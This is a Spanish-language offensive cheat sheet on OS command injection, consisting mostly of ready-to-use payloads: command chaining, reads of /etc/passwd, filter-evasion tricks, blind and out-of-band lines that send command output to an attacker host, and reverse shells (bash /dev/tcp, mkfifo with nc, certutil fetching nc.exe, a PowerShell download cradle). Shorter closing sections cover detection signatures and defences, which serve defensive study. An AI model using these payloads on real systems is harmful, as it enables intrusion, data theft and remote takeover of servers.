OS Command Injection
Arsenal completo de comandos en la cheatsheetLa inyección de comandos (command injection) ocurre cuando una aplicación construye un comando del sistema operativo concatenando entrada del usuario y lo ejecuta a través de una shell. Si esa entrada no se valida, el atacante puede colar comandos adicionales que se ejecutan con los privilegios del proceso. El payload exacto depende del SO (Linux o Windows) y de qué filtra la aplicación, así que es un juego de probar separadores y evasiones hasta que uno ejecuta.
Metacaracteres y encadenado
Los metacaracteres de shell permiten encadenar o sustituir comandos:
127.0.0.1; id # ; ejecuta otro comando a continuacion
127.0.0.1 | id # | redirige a otro comando
127.0.0.1 && id # && si el primero tuvo exito; || si fallo
127.0.0.1 %0a id # salto de linea (URL-encoded) tambien separa
ping $(whoami).<lhost> # $(...) o `...` sustituyen por la salida
ping `id` # variante con backticksLinux vs Windows
El separador ;/&&/| vale en ambos, pero los binarios cambian:
# Linux
127.0.0.1; id; uname -a; cat /etc/passwd
127.0.0.1; bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'
# Windows (cmd): & y && encadenan; usar whoami, dir, type
127.0.0.1 & whoami & dir C:\Users
127.0.0.1 & certutil -urlcache -f http://<lhost>/nc.exe C:\Windows\Temp\nc.exe & C:\Windows\Temp\nc.exe <lhost> <lport> -e cmd
# Windows (PowerShell): download cradle a reverse shell
127.0.0.1; powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<lhost>/rev.ps1')"Bypass de filtros
Cuando se filtran espacios o nombres de comando, hay muchas evasiones:
# sin espacios (Linux): ${IFS}, $IFS$9, tabulador, redireccion <
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd
# partir el nombre del binario para saltar el filtro por palabra
w'h'o'a'm'i
w"h"o"a"m"i
wh\o\am\i
who$@ami
# codificado: base64 y ejecutar
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
# comodines en vez del nombre/ruta exactos
/???/c?t /etc/pass??
/bin/cat /etc/pa*
# Windows: comillas/^ para partir palabras
who^ami
"whoami"A ciegas y out-of-band
Cuando la respuesta no muestra la salida (inyección a ciegas), se confirma por un canal lateral:
# retardo: si la respuesta tarda ~5s, ejecuta
127.0.0.1; sleep 5
127.0.0.1 & ping -n 5 <lhost> # Windows equivalente
# out-of-band: la victima resuelve/conecta a nuestro host (exfiltra la salida en el subdominio)
127.0.0.1 & nslookup `whoami`.<lhost>
127.0.0.1; curl http://<lhost>/$(id|base64)De confirmación a shell
# Linux: reverse shell (listener: nc -lvnp <lport> en <lhost>)
127.0.0.1; bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'
# si no hay bash: nc, python, o mkfifo
127.0.0.1; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <lhost> <lport> >/tmp/fVerificación. El retraso del sleep, la consulta DNS entrante o la shell que cae en el listener son la prueba de la ejecución; una respuesta de error sin más no confirma nada.
Por qué es tan grave. El comando hereda el contexto del proceso. Si la aplicación (o un servicio auxiliar, un cron, un panel interno) corre como root, la inyección da ejecución como root directamente, sin necesidad de una segunda escalada. Por eso un panel interno aparentemente inocuo (un "monitor del sistema", un generador de informes) que pasa un parámetro a la shell puede ser la vía a root.
Cómo detectarlo. En la petición, los metacaracteres de shell en un parámetro (;, |, &&, ` , $(, %0a, ${IFS}) y nombres de binarios (id, whoami, nslookup, curl, bash -i, certutil, powershell) son firmas que un WAF marca en la query string o el cuerpo. Pero la detección de oro es de host: el proceso de la aplicación (www-data, el servicio del panel) engendrando sh/bash/nc/curl/nslookup/powershell, visible en auditd (execve) en Linux o en Sysmon 1/4688 en Windows, con la aplicación como padre. La variante out-of-band deja una consulta DNS o conexión saliente hacia un dominio de atacante desde el servidor. La reverse shell final es una conexión saliente de un proceso que no debería iniciar conexiones. Correlacionar el parámetro sospechoso con un proceso hijo anómalo lo confirma.
Defensa. No invocar la shell con entrada del usuario: usar APIs que reciban el binario y sus argumentos por separado (execve con una lista, no una cadena), de modo que los metacaracteres se traten como datos y no como sintaxis. Si hay que llamar a un comando, validar con lista blanca estricta y escapar de forma robusta. Y aplicar mínimo privilegio: que el servicio no corra como root. Relacionado con la cadena XSS a RCE y otras vías de ejecución de código.